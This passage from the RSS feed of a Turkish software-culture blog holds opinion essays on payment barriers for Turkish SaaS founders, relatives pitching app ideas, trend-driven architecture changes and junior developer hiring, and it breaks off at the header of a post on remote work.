<p>Ücretsiz mesai bir fedakarlık değildir. Ücretsiz mesai; işverenin kötü yönetiminin ve vizyonsuzluğunun faturasını kendi gençliğinizle ödemektir.</p>
<p>Emeğinize saygı duyun.<br>
Mesainiz bittiğinde o kapağı kapatmayı bilin.</p>
<p>Çünkü siz bir şirketin kölesi değilsiniz; siz fikriyle, zihniyle ve uzmanlığıyla değer üreten bağımsız birer profesyonsunuz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>mesai</category>
            <category>somuru</category>
            <category>turkiye</category>
            <category>burnout</category>
            <category>on-call</category>
            <category>yazilim-kulturu</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/gece-vardiyasi-ve-ucretsiz-mesai-turkiyede-sorumluluk-adi-altinda-somuru/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Paypal Yok ama Kod Var": Türkiye'den Global SaaS Çıkarmanın Operasyonel İşkencesi]]></title>
            <link>http://localhost:3000/blog/post/paypal-yok-ama-kod-var-turkiyeden-global-saas-cikarmanin-operasyonel-iskencesi</link>
            <guid>paypal-yok-ama-kod-var-turkiyeden-global-saas-cikarmanin-operasyonel-iskencesi</guid>
            <pubDate>Fri, 24 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Dünyadaki bir yazılımcı 10 dakikada Stripe açıp globale ürün satarken; Türkiye'deki geliştiricinin Estonya, Delaware, çifte vergilendirme ve ödeme altyapısı labirentlerinde boğulmasının operasyonel dramı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/paypal-yok-ama-kod-var-turkiyeden-global-saas-cikarmanin-operasyonel-iskencesi/thumbnail" alt=""> Twitter'da (X) veya Product Hunt'ta gezinirken karşınıza çıkan o meşhur "Indie Hacker" hikayelerini bilirsiniz:<br>
Polonya'da, Estonya'da veya Brezilya'da yaşayan 20 yaşında bir çocuk, hafta sonu odasına kapanır. Next.js ve Tailwind ile basit bir yapay zeka aracı veya mikro-SaaS kodlar. Pazartesi sabahı Stripe hesabını bağlar, Product Hunt'a atar ve Salı günü ekran görüntüsü paylaşır:<br>
<em>"İlk 48 saatte 2.400 dolar MRR (aylık tekrarlayan gelir) elde ettim!"</em></p>
<p>Kulağa ne kadar pürüzsüz, ne kadar büyüleyici bir rüya gibi geliyor, değil mi?</p>
<p>Şimdi gelin, aynı zekaya, aynı teknik yetkinliğe ve belki çok daha sağlam bir kod mimarisine sahip olan <strong>Türkiyeli bir yazılımcının</strong> aynı yola çıktığında yaşadığı o akıl almaz bürokratik ve operasyonel cehenneme bakalım.</p>
<p>Bizim hikayemiz kod bittiğinde değil; tam olarak o kod bittikten sonra başlar.</p>
<h3>Başlangıç Çizgisinde Vurulan Pranga: PayPal ve Stripe Yokluğu</h3>
<p>Bir yazılım ürünü geliştirmek zordur; ama Türkiye'den dünyaya o yazılımı satabilmek, adeta iki kolunuz arkadan bağlıyken okyanusu yüzerek geçmeye benzer.</p>
<p>2016 yılında, yerel regülasyonlar ve bürokratik inatlaşmalar yüzünden dünyanın en yaygın ödeme altyapısı olan <strong>PayPal</strong> bu ülkeden kovuldu. Ardından modern internet ekonomisinin kalbi olan <strong>Stripe</strong>, Türkiye'deki şirketlere ve banka hesaplarına kapılarını tamamen kapattı.</p>
<p>Düşünebiliyor musunuz?<br>
Dünyadaki herhangi bir insanın kredi kartını çıkarıp tek tıkla abonelik başlatabileceği küresel finansal otobanların tamamından bu ülkenin gençleri mahrum bırakıldı.</p>
<p>Avrupalı veya Amerikalı akranınız enerjisinin %95'ini ürünün kalitesine, kullanıcı deneyimine ve pazarlamaya harcarken; Türkiyeli geliştirici enerjisinin %80'ini şu saçma sapan sorularla tüketmek zorunda kalır:</p>
<ul>
<li><em>"Estonya'dan e-Residency alıp orada şirket mi kursam, yoksa Delaware'de bir LLC mi açsam?"</em></li>
<li><em>"Mercury veya Wise hesabı açarken Türkiye pasaportumu ve IP adresimi görürlerse hesabımı dondururlar mı?"</em></li>
<li><em>"Paddle mı kullansam, LemonSqueezy mi? Hangisi Merchant of Record olarak KDV'yi çözer?"</em></li>
<li><em>"Estonya'daki şirketten Türkiye'deki şahıs hesabıma para çekerken yerel vergi dairesi kapıma dayanıp benden yüzde kaç vergi ve ceza keser?"</em></li>
</ul>
<p>Daha tek bir satır kod satamadan, 22 yaşındaki bir yazılım mühendisi uluslararası vergi hukuku uzmanına, offshore şirket danışmanına ve finansal akrobata dönüşmek zorundadır!</p>
<h3>İki Kat Efor, Yarı Kat Sonuç</h3>
<p>Yerel ödeme sağlayıcılarıyla (İyzico vb.) dünyaya açılmaya çalıştığınızda ise bambaşka bir duvara çarparsınız:<br>
Amerikalı bir müşteri sitenize girer. Kartını girmek ister; karşısına Türk bankalarının o meşhur, hantal, yabancı kartlarda sürekli patlayan ve SMS şifresi (3D Secure) isteyen ödeme ekranı çıkar. Amerikalı kullanıcı o ekranı gördüğü an <em>"Bu site beni dolandırıyor galiba"</em> diyerek sekmeyi kapatır ve kaçar.</p>
<p>Çünkü küresel pazarın bir standardı vardır: Stripe pürüzsüzlüğü ve PayPal tek tık güveni.<br>
Siz o standardı sunamadığınız an, dünyanın en muazzam algoritmasını da yazmış olsanız dönüşüm oranınız (conversion rate) sıfıra çakılır.</p>
<p>Biz daha yarışa başlamadan, küresel sistem bizi <strong>1-0 değil, 5-0 geride</strong> başlatır.</p>
<h3>Bürokrasinin Boğduğu Milyon Dolarlar</h3>
<p>Türkiye'de her yıl teknoloji zirvelerinde politikacılar ve bürokratlar kürsüye çıkıp hamasi nutuklar atarlar:<br>
<em>"Yazılım ihracatımızı 10 milyar dolara çıkaracağız! Milli teknoloji hamlesi! Gençlerimizin arkasındayız!"</em></p>
<p>İyi de, arkasında olduğunuz o gencin dünyaya 5 dolarlık bir yazılım satabilmesi için Londra'da paravan şirket kurmak zorunda kalmasını neden görmezden geliyorsunuz?</p>
<p>Bir ülkenin gençlerinin ürettiği katma değerin vergisini, stopajını ve banka komisyonunu neden Estonya devleti, İngiltere hükümeti veya Amerikan bankaları topluyor? Çünkü bizim hantal regülasyonlarımız ve yasakçı zihniyetimiz, teknolojinin hızına yetişemeyecek kadar çağ dışı kaldı.</p>
<p>Bugün Türkiye'den çıkıp küresel pazarda milyonlarca dolar ciro yapan mikro-SaaS kurucuları varsa; onlar devletin veya ekosistemin desteğiyle değil; <strong>bütün bu operasyonel işkencelere ve engellere rağmen</strong> başarmış birer modern çağ mucizesidir.</p>
<h3>Prangaları Kıracak Olanlar Yine Biziz</h3>
<p>Bütün bu karamsar tabloya rağmen umut nerede biliyor musunuz?<br>
Umut, bütün bu bürokratik engellere rağmen yılmayan, VPN arkasından şirket kuran, uluslararası vergi labirentlerini çözen ve odasından dünyaya kod ihraç etmeye devam eden o inatçı genç mühendislerdedir.</p>
<p>Biz coğrafyanın kader olduğu bir toprağın çocuklarıyız. Bizim işimiz hiçbir zaman kolay olmadı.</p>
<p>Ama şunu unutmayın: Kolay şartlarda yetişenler sadece rüzgar gülü olur; fırtınanın içinde direnenler ise devasa çınarlara dönüşür.</p>
<p>PayPal'ımız olmayabilir, Stripe kapalı olabilir, sistem bizi geriden başlatabilir.<br>
Ama aklımız, mühendislik namusumuz ve terminalimizin başında sabahlara kadar döktüğümüz o saf emek yerinde duruyor.</p>
<p>Ve o emek, günün birinde o köhne bürokrasinin ördüğü tüm duvarları yerle bir edecek kadar güçlüdür.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>saas</category>
            <category>paypal</category>
            <category>stripe</category>
            <category>turkiye</category>
            <category>girisimcilik</category>
            <category>global-pazar</category>
            <category>fintech</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/paypal-yok-ama-kod-var-turkiyeden-global-saas-cikarmanin-operasyonel-iskencesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Akraba ve Arkadaş Çevresinin "Benim Bir Uygulama Fikrim Var" Cenderesi]]></title>
            <link>http://localhost:3000/blog/post/akraba-ve-arkadas-cevresinin-benim-bir-uygulama-fikrim-var-cenderesi</link>
            <guid>akraba-ve-arkadas-cevresinin-benim-bir-uygulama-fikrim-var-cenderesi</guid>
            <pubDate>Thu, 23 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yazılımcı olduğunuz duyulduğu an başlayan o meşhur diyalog: "Uber gibi ama halı yıkama için, %50 ortak olalım, sen kodla ben fikri verdim." Fikrin ucuz, icraatın ise pahalı olduğu gerçeği üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/akraba-ve-arkadas-cevresinin-benim-bir-uygulama-fikrim-var-cenderesi/thumbnail" alt=""> Türkiye'de bir yazılımcı olarak hayatınızı sürdürüyorsanız; bayram ziyaretlerinde, akraba düğünlerinde veya uzun süredir görüşmediğiniz bir lise arkadaşınızla kahve içerken başınıza gelecek en kaçınılmaz, en klişe ve en can sıkıcı kabus şudur:</p>
<p>Karşınızdaki kişi arkasına yaslanır, ses tonunu bir sır paylaşıyormuş gibi gizemli bir şekilde alçaltır ve gözlerini kısarak o cümleyi fısıldar:<br>
<em>"Kardeşim, benim aklımda öyle bir proje var ki... Bak yemin ediyorum Türkiye'de tek, dünyada bile benzeri yok. Uber gibi ama sadece halı yıkamacılar için (veya Getir gibi ama ikinci el oto sanayi parçaları için). Voleyi vuracağız!"</em></p>
<p>Ve hemen ardından o muazzam teklif masaya bırakılır:<br>
<em>"Fikir tamamen benden. Sen zaten bilgisayardan anlıyorsun, iki tık tık kodlarsın. Yüzde elli yüzde elli ortak olalım. Ben işin fikrini verdim, sen de teknik tarafını hallediver."</em></p>
<p>O an karşınızdaki insanın yüzüne bakarken; hem gülmek, hem ağlamak, hem de masadan sessizce kalkıp kaçmak istersiniz.</p>
<p>Çünkü bu topraklarda yazılımın, mühendisliğin ve zihinsel emeğin nasıl algılandığına dair bütün cehalet ve çarpıklık, işte bu tek bir cümlede kristalize olmuştur.</p>
<h3>Derek Sivers ve Fikrin Sıfır Değeri</h3>
<p>Girişimci ve yazar Derek Sivers'ın bütün dünyada yankı uyandıran çok basit ama sarsıcı bir formülü vardır:<br>
<strong>Fikir tek başına sadece bir çarpandır (multiplier). İcraat (execution) ise asıl değerdir.</strong></p>
<p>Sivers bu formülü şöyle matematikselleştirir:</p>
<ul>
<li>Berbat Fikir: -1</li>
<li>Vasat Fikir: 1</li>
<li>Harika Fikir: 10</li>
<li>Dahice Fikir: 20</li>
</ul>
<p>Peki ya icraat?</p>
<ul>
<li>Hiç İcraat Yok: 1 Dolar</li>
<li>Kötü İcraat: 100 Dolar</li>
<li>İyi İcraat: 10.000 Dolar</li>
<li>Mükemmel İcraat: 1.000.000 Dolar</li>
</ul>
<p>Eğer elinizde dünyanın en dahice fikri (20) bile olsa, ortada tek bir satır çalışan kod, tek bir ödeyen müşteri, tek bir operasyonel süreç yoksa; o fikrin toplam değeri: <strong>20 x 1 Dolar = 20 Dolardır.</strong></p>
<p>Fikir, zihnin en ucuz, en zahmetsiz ve en bedava ürünüdür. Duşta yıkanırken veya trafikte otururken herkes günde on tane "dahice" uygulama fikri bulabilir. Dünyadaki mezarlıklar, zamanında "muazzam bir fikrim vardı" diyen ama tek bir adım bile atmamış milyonlarca insanın hayaletleriyle doludur.</p>
<p>Oysa o fikri çalışan bir ürüne dönüştürmek; geceler boyu kod yazmak, sunucu mimarisi kurmak, veritabanı kilitlenmelerini çözmek, kullanıcı arayüzü tasarlamak ve müşteri şikayetlerini sırtlamak demektir.</p>
<p><em>"Ben fikri verdim, sen iki satır kodla"</em> diyen insan; aslında <em>"Ben arsanın hayalini kurdum, sen 15 katlı gökdeleni dik, daireleri yarı yarıya bölüşelim"</em> demektedir.</p>
<h3>Kod Bittiğinde Asıl Cehennem Başlar</h3>
<p>Akraba ve arkadaş çevresinin bir türlü idrak edemediği en büyük yanılgı, yazılımın "bir kez yapılıp biten" statik bir inşaat olduğunu sanmalarıdır: <em>"Kodu yaz, App Store'a yükle, sonra yan gelip paraları sayalım."</em></p>
<p>Oysa her gerçek mühendis bilir ki; kodun ilk versiyonunu yazıp yayına almak, maratonun sadece başlangıç ısınmasıdır.</p>
<p>Gerçek savaş o kod bittikten sonra başlar:</p>
<ul>
<li>Her ay tıkır tıkır ödenmesi gereken AWS ve sunucu faturalarını kim ödeyecek?</li>
<li>Gece saat 03:00'te ödeme gateway'i çöktüğünde yatağından fırlayıp kim debug edecek?</li>
<li>Apple'ın veya Google'ın her yıl zorunlu kıldığı yeni SDK güncellemelerini, politika değişikliklerini kim takip edecek?</li>
<li>Müşterilerden gelen <em>"Param çekildi ama siparişim görünmüyor"</em> öfkesini kim göğüsleyecek?</li>
</ul>
<p>O "fikir babası" ortakların hiçbirini o gece nöbetlerinde bulamazsınız. Sunucu faturası geldiğinde hepsi birden buharlaşır. Çünkü onlar sadece başarının ve paranın ortağı olmak ister; çilenin, sorumluluğun ve maliyetin ortağı olmayı akıllarının ucundan bile geçirmezler.</p>
<h3>Sınır Çizme Rehberi: "Fikir Ortaklarına" Ne Demeli?</h3>
<p>Bir yazılımcı olarak akıl sağlığınızı, zamanınızı ve insan ilişkilerinizi korumak istiyorsanız; bu tür tekliflere karşı cebinizde hazır, nazik ama granit gibi sert cevaplar bulundurmak zorundasınız:</p>
<ol>
<li><strong>"Benim Saatlik Danışmanlık Ücretim Şu Kadar":</strong> Fikrinden o kadar emin olan birine şunu söyleyin: <em>"Fikrin gerçekten harika görünüyor. Ben hisse karşılığı ortak olmuyorum ama profesyonel olarak bu ürünü geliştirebilirim. Saatlik geliştirme ücretim 50 dolar, tahmini geliştirme süresi 400 saat. Eğer bu yatırımı yapmak istersen sözleşmeyi hazırlayalım."</em> Göreceksiniz ki o "milyar dolarlık vizyoner", saniyesinde konuyu değiştirip havalardan bahsetmeye başlayacaktır.</li>
<li><strong>"Önce Pazar Araştırmasını Sen Yap":</strong> <em>"Harika fikir! O zaman sen önümüzdeki hafta git, bu işi yapacak 50 tane halı yıkamacıyla görüş. Onlara 'Böyle bir uygulama çıksa ayda 500 lira öder misiniz?' diye sor ve niyet mektubu imzalat. Geldiğinde kodu hemen yazmaya başlarım."</em> Bir haftanın sonunda o 50 kişiyle asla görüşülmediğini göreceksiniz; çünkü fikir ucuzdur ama sokağa çıkıp icraat yapmak zordur.</li>
</ol>
<p>Fikirlerin hiçbir değeri yoktur; değer sadece ve sadece ter döken, sorumluluk alan ve sistemi ayakta tutan <strong>icraattadır.</strong></p>
<p>Siz bir fikir hamalı değilsiniz. Yıllarca dirsek çürüterek kazandığınız o kıymetli mühendislik zanaatınızı, ucuz kahve sohbetlerinin ve bedavacı heveslerin sermayesi yapmayın.</p>
<p>Bırakın onlar fikirleriyle zengin olsun; siz çalışan, nefes alan ve gerçek değer üreten kodlarınızla usta kalın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>fikir-vs-icraat</category>
            <category>turkiye</category>
            <category>girisimcilik</category>
            <category>akraba-iliskileri</category>
            <category>yazilim-kulturu</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/akraba-ve-arkadas-cevresinin-benim-bir-uygulama-fikrim-var-cenderesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Teknoloji Çöplüğü" Şirketler: Yöneticilerin LinkedIn Trendlerine Göre Mimari Değiştirmesi]]></title>
            <link>http://localhost:3000/blog/post/teknoloji-coplugu-sirketler-yoneticilerin-linkedin-trendlerine-gore-mimari-degistirmesi</link>
            <guid>teknoloji-coplugu-sirketler-yoneticilerin-linkedin-trendlerine-gore-mimari-degistirmesi</guid>
            <pubDate>Wed, 22 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Türkiye'deki kurumsal şirketlerde yönetimin hafta sonu LinkedIn'de gördüğü buzzword'lerle pazartesi ekibin karşısına çıkması. İhtiyaç yokken popüler diye değiştirilen ve yamalı bohçaya dönen altyapılar.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/teknoloji-coplugu-sirketler-yoneticilerin-linkedin-trendlerine-gore-mimari-degistirmesi/thumbnail" alt=""> Türkiye'deki kurumsal şirketlerde ve orta ölçekli teknoloji firmalarında çalışan mühendislerin en çok korktuğu zaman dilimi nedir biliyor musunuz?<br>
<strong>Pazartesi sabahları saat 10:00 toplantıları.</strong></p>
<p>Çünkü şirketinizin teknik altyapıdan zerre kadar anlamayan, ama kendini "vizyoner teknoloji lideri" sanan yöneticisi, hafta sonunu LinkedIn'de, Medium'da ve yabancı teknoloji bültenlerinde geçirmiştir. Orada dönemin en popüler, en cilalı ve en havalı "buzzword"lerini (moda sözcüklerini) görmüştür:<br>
<em>"Event-Driven Architecture", "Micro-Frontends", "Serverless", "AI-Agent Swarms", "Rust ile yeniden yazım", "GraphQL"...</em></p>
<p>Pazartesi sabahı toplantı odasına girer. Gözlerinde tehlikeli bir ışıltı vardır. Masaya bir sunum slaytı fırlatır ve o ölümcül cümleyi kurar:<br>
<em>"Arkadaşlar, sektör nereye gidiyor görmüyor musunuz? Biz hâlâ monolitik yapıda kaldık. Tüm mimariyi acilen event-driven mikroservislere bölüyoruz ve araya Kafka koyuyoruz!"</em></p>
<p>Mühendislik ekibi dehşetle birbirine bakar.<br>
Bir kıdemli mühendis çekinerek söz alır: <em>"Efendim, bizim sitemizi günde sadece 1.500 kişi ziyaret ediyor. Veritabanımızda saniyede 3 tane sorgu dönüyor. Mevcut Node.js ve PostgreSQL monolitimiz tıkır tıkır çalışıyor, yanıt sürelerimiz 40 milisaniye. Neden Kafka'ya veya 20 tane mikroservise ihtiyacımız olsun ki?"</em></p>
<p>Yönetici küçümseyici bir tebessümle bakar: <em>"Siz vizyonsuzsunuz. Ölçeklenmeye (scale) hazırlıklı olmalıyız. İki ay içinde bu dönüşüm bitecek."</em></p>
<p>Ve şirketin yavaşlatılmış ölüm süreci resmen başlar.</p>
<h3>Resume-Driven Development (CV Odaklı Mühendislik)</h3>
<p>Bu akıl tutulmasının bilgisayar bilimlerindeki adı çok nettir: <strong>Resume-Driven Development (RDD) — yani "Özgeçmiş Odaklı Geliştirme".</strong></p>
<p>O yöneticinin derdi şirketin performansını artırmak, kullanıcı deneyimini iyileştirmek veya altyapı maliyetlerini düşürmek değildir.<br>
Onun tek bir derdi vardır: Bir sonraki iş başvurusunda CV'sine <em>"Şirketin monolitik yapısını başarıyla event-driven mikroservis mimarisine taşıdım"</em> yazabilmek. Bir de LinkedIn'de <em>"Büyük Mimari Dönüşüm Yolculuğumuz"</em> başlığı altında 500 beğeni alacak sahte bir başarı hikayesi paylaşabilmek!</p>
<p>Şirketin parası, mühendislerin geceleri ve projenin geleceği; bir yöneticinin kişisel markalama egosuna kurban edilir.</p>
<h3>Yamalı Bohçaya Dönen Altyapılar: Teknoloji Çöplüğü</h3>
<p>Peki bu sürecin sonunda ne olur?</p>
<p>İki yıl sonra o şirketin kod tabanını açtığınızda, tam bir <strong>arkeolojik teknoloji çöplüğüyle</strong> karşılaşırsınız:</p>
<ul>
<li>Bir kısmı 2021'de dönemin modası diye Go ile yazılmış ve yarıda bırakılmış,</li>
<li>Bir kısmı 2023'te LinkedIn'de görüldü diye Rust ile başlanmış ama yazan kişi işten ayrılınca sahipsiz kalmış,</li>
<li>Araya Kafka konulmuş ama kimse konfigürasyonunu bilmediği için kuyruklar sürekli patlayan,</li>
<li>Dört farklı veritabanının (Postgres, Mongo, Redis, Elastic) birbirine koli bandıyla bağlandığı, kimsenin baştan sona nasıl çalıştığını anlayamadığı ucube bir Frankeştayn!</li>
</ul>
<p>Sistem eskisinden 10 kat daha yavaş çalışır. Hata ayıklamak (debug) imkânsız hale gelir. Basit bir buton eklemek için 6 farklı servise PR açmak gerekir. Bulut faturası 5 katına fırlamıştır.</p>
<p>Ve en trajik olanı nedir biliyor musunuz?<br>
O kararı aldıran "vizyoner" yönetici, o enkaz daha patlamadan önce başka bir kurumsal şirkete transfer olmuş; orada da aynı zehirli vaazları vermeye başlamıştır bile!</p>
<h3>Mühendislik Trend Takipçiliği Değildir</h3>
<p>Bir doktor, tıp dergisinde gördüğü en yeni ve en deneysel cerrahi yöntemi; grip olmuş sıradan bir hastanın üzerinde <em>"Hadi bunu deneyelim, çok havalı duruyor"</em> diyerek uygulayabilir mi? Uygularsa ona doktor değil, kasap denir.</p>
<p>Yazılımda da elindeki problemin boyutuna bakmadan, sırf Silicon Valley trendi diye şirket altyapısını kobay faresi gibi kullananlara mühendis denmez; sadece <strong>trend bağımlısı birer amatör</strong> denir.</p>
<p>Gerçek mühendislik; modaya uymak değil, <strong>ihtiyaca tam oturan en sade çözümü üretmektir.</strong></p>
<p>Eğer sizin probleminizi basit bir cron job çözüyorsa, araya Kafka koymak mühendislik değil; görgüsüzlüktür.<br>
Eğer tek bir ilişkisel veritabanı işinizi görüyorsa, 10 tane mikroservis açmak cesaret değil; şirketin parasını yakmaktır.</p>
<p>En büyük mimari başarı; en çok teknolojiyi birbirine bağlamak değil; en az parça ile en sağlam, en sessiz ve en uzun ömürlü sistemi inşa edebilmektir.</p>
<p>LinkedIn trendlerini toplantı odasının kapısında bırakın.<br>
Egonuzu değil; kodunuzun sadeliğini ve şirketinizin gerçek ihtiyaçlarını masaya koyun.</p>
<p>Çünkü teknoloji çöplüğünde inşa edilen hiçbir kule, gerçek hayatın rüzgarlarına karşı ayakta kalamaz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>linkedin-trendleri</category>
            <category>mimari</category>
            <category>teknoloji-coplugu</category>
            <category>kurumsal-kultur</category>
            <category>yonetim</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/teknoloji-coplugu-sirketler-yoneticilerin-linkedin-trendlerine-gore-mimari-degistirmesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Junior Yazılımcının "Tecrübesizsen İşe Almam, İşe Girmezsen Tecrübe Kazanamazsın" Kısır Döngüsü]]></title>
            <link>http://localhost:3000/blog/post/junior-yazilimcinin-tecrubesizsen-ise-almam-ise-girmezsen-tecrube-kazanamazsin-kisir-dongusu</link>
            <guid>junior-yazilimcinin-tecrubesizsen-ise-almam-ise-girmezsen-tecrube-kazanamazsin-kisir-dongusu</guid>
            <pubDate>Tue, 21 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Türkiye pazarında ilanların "22 yaşında, 4 yıl tecrübeli Junior" araması. Şirketlerin yeni mezun yetiştirmek yerine hazıra konmak istemesi ve binlerce pırıl pırıl gencin bu ironik duvarın önünde tıkanıp kalması.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/junior-yazilimcinin-tecrubesizsen-ise-almam-ise-girmezsen-tecrube-kazanamazsin-kisir-dongusu/thumbnail" alt=""> Türkiye'de bilgisayar mühendisliğinden yeni mezun olmuş veya kendi tırnaklarıyla kod öğrenip sektöre girmeye çalışan 22-23 yaşındaki bir gencin karşısına dikilen o devasa, absürt ve insanı çıldırtan mantık duvarını hepimiz çok iyi biliriz:</p>
<ul>
<li>Bir şirkete iş başvurusunda bulunursun: <em>"Üzgünüz, hiç iş tecrübeniz yok, sizi alamayız."</em></li>
<li>Haklı olarak sorarsın: <em>"İyi de tecrübe kazanabilmem için bir yerde işe başlamam gerekmiyor mu?"</em></li>
<li>Şirket soğuk bir tebessümle kapıyı kapatır: <em>"O bizim sorunumuz değil, git önce başka bir yerde tecrübe kazan, sonra bize gel."</em></li>
</ul>
<p>Ve Joseph Heller'ın o meşhur <strong>Madde 22 (Catch-22)</strong> paradoksu tam olarak burada başlar:<br>
<strong>İşe girmek için tecrübe lazımdır; ama tecrübe kazanmak için önce bir işe girmek lazımdır!</strong></p>
<p>LinkedIn'deki iş ilanlarını açın. Başlıkta koca harflerle <em>"Junior Geliştirici"</em> yazar. İlanın detaylarına inersiniz:<br>
<em>"En az 3-4 yıl canlı ortam (production) tecrübesi olan, mikroservis mimarilerine hakim, AWS ve Kubernetes yönetmiş, CI/CD pipeline'ları kurmuş, askerliğini yapmış..."</em></p>
<p>Bu ilanlar sadece trajikomik bir cehaletin değil; Türkiye teknoloji sektörünün bencilce sergilediği kurumsal bir tembelliğin belgesidir.</p>
<h3>"Biz Okul Değiliz" Bencilliği</h3>
<p>Şirketlerin İK yöneticilerinden ve kurucularından en sık duyduğunuz savunma şudur: <em>"Biz okul değiliz, bizim zamanımız yok, bize ilk günden iş teslim edecek hazır adam lazım."</em></p>
<p>İyi de muhterem, o hazır adam gökten zembille mi inecek?<br>
Sen yetiştirmezsen, yanındaki şirket yetiştirmezse, öbürü sırtını dönerse; bu sektörde beş yıl sonra mimariyi kime teslim edeceksiniz?</p>
<p>Herkes ormanda sadece meyve toplamak istiyor; ama o meyve ağacını dikmeye, suyunu vermeye, dalını budamaya hiç kimse tek bir saatini bile ayırmak istemiyor.</p>
<p>Sonra ne oluyor? Piyasada tecrübeli mühendis kalmayınca birbirlerinin çalışanlarını transfer etmek için astronomik teklifler havada uçuşuyor; o mühendisler de ilk fırsatta yurt dışına kaçınca şirketler ortada kalıp <em>"Yetişmiş eleman bulamıyoruz"</em> diye televizyonlarda ağlaşıyor.</p>
<p>Kendi ellerinizle kuruttuğunuz fidanlığın içinde, neden çiçek açmadığını sorgulayamazsınız.</p>
<h3>Sertifika Koleksiyonculuğunun İflası</h3>
<p>Bu acımasız kısır döngünün ortasında kalan yüz binlerce genç ise ne yazık ki yanlış yönlendiriliyor.</p>
<p>Umut taciri online kurslar ve bootcamp'ler gençlere aynı yalanı satıyor: <em>"Bizden 6 haftalık React eğitimi al, sana sertifika verelim, kapılar açılsın."</em></p>
<p>Ve gençlerin LinkedIn profilleri Udemy sertifikalarıyla, kopyala-yapıştır yapılmış klon projelerle (Netflix klonu, Spotify klonu, Todo uygulaması) dolup taşıyor. İK uzmanlarının önüne her gün birbirinin virgülüne kadar aynı olan 500 tane CV düşüyor.</p>
<p>Ve o CV'lerin hiçbiri işe yaramıyor. Çünkü herkes aynı şeyi biliyor: O klon projeler bir eğitim videosunu taklit etmekten ibarettir; gerçek hayattaki tek bir problemi bile çözmez.</p>
<h3>Kısır Döngüyü Kırma Rehberi: "Proof of Work" (İş Kanıtı)</h3>
<p>Eğer bu satırları okuyan ve o kapalı kapıların önünde çaresizce bekleyen bir genç yazılımcıysan; sana sistemi değiştirebileceğin masalını anlatmayacağım. Şirketlerin bencilliği bir gecede bitmeyecek.</p>
<p>Ama sen o duvarı kendi ellerinle yıkabilirsin. Nasıl mı?<br>
<strong>Sertifika toplamayı bırakıp, reddedilemeyecek bir "İş Kanıtı" (Proof of Work) üreterek:</strong></p>
<ol>
<li><strong>Klon Projeleri Çöpe At:</strong> Kimsenin senin yazdığın 100. Todo uygulamasına ihtiyacı yok. Çevrene bak. Mahalledeki kütüphanenin, yerel bir sivil toplum kuruluşunun, bir derneğin veya açık kaynak bir topluluğun kanayan gerçek bir problemini bul. O problemi çözen ve canlıda 50 kişinin gerçekten kullandığı ufacık bir yazılım yap. Canlıda çalışan ve gerçek kullanıcısı olan tek bir proje, 50 tane Udemy sertifikasından bin kat daha ikna edicidir.</li>
<li><strong>Açık Kaynak Kod Depolarına Katkı Ver:</strong> Dünyanın en büyük açık kaynak kütüphanelerinin GitHub depolarına git. "Good First Issue" etiketli biletleri bul. Dokümantasyondaki bir hatayı düzelt, basit bir bug'a PR aç. CV'ne <em>"X kütüphanesine kod katkısı verdim"</em> yazmak, mülakatta sana doğrudan kıdem kapısını aralar.</li>
<li><strong>Süreçlerini Herkesin Önünde Paylaş (Build in Public):</strong> Bir problem çözerken nerede takıldığını, nasıl debug ettiğini, hangi hatadan ders çıkardığını bir blog yazısıyla veya sosyal medyada şeffafça anlat. Şirketler senin her şeyi bilmeni beklemez; nasıl öğrendiğini ve nasıl düşündüğünü görmek ister.</li>
</ol>
<h3>Tohum Ekmeden Hasat Alınmaz</h3>
<p>Şirket liderlerine ve kıdemli mühendislere son bir çağrı:</p>
<p>Bir junior geliştiriciyi işe almak, ona haftada iki saatini ayırıp mentörlük yapmak bir hayır işi veya lütuf değildir.<br>
Bu, <strong>bu sektöre olan varoluşsal borcunuzdur.</strong></p>
<p>Unutmayın; bugün o fildişi kulelerinizde otururken aldığınız kararlar, bir zamanlar sizin yazdığınız berbat kodlara sabreden o eski ustaların mirasıdır.</p>
<p>Gençlere kapıyı kapatmayın.<br>
O kısır döngüyü kırmak için bir fidan dikin.</p>
<p>Çünkü tohum ekmeyi reddeden bir toplum; eninde sonunda açlıktan ve kuraklıktan kırılmaya mahkûmdur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>junior-yazilimci</category>
            <category>kariyer</category>
            <category>turkiye</category>
            <category>kisir-dongu</category>
            <category>staj</category>
            <category>sektor-elestirisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/junior-yazilimcinin-tecrubesizsen-ise-almam-ise-girmezsen-tecrube-kazanamazsin-kisir-dongusu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Uzaktan Çalışma" (Remote) Dedikleri: Evin Bir Odasını Şirket Şubesine Dönüştürmek]]></title>
            <link>http://localhost:3000/blog/post/uzaktan-calisma-remote-dedikleri-evin-bir-odasini-sirket-subesine-donusturmek</link>
            <guid>uzaktan-calisma-remote-dedikleri-evin-bir-odasini-sirket-subesine-donusturmek</guid>
            <pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate>
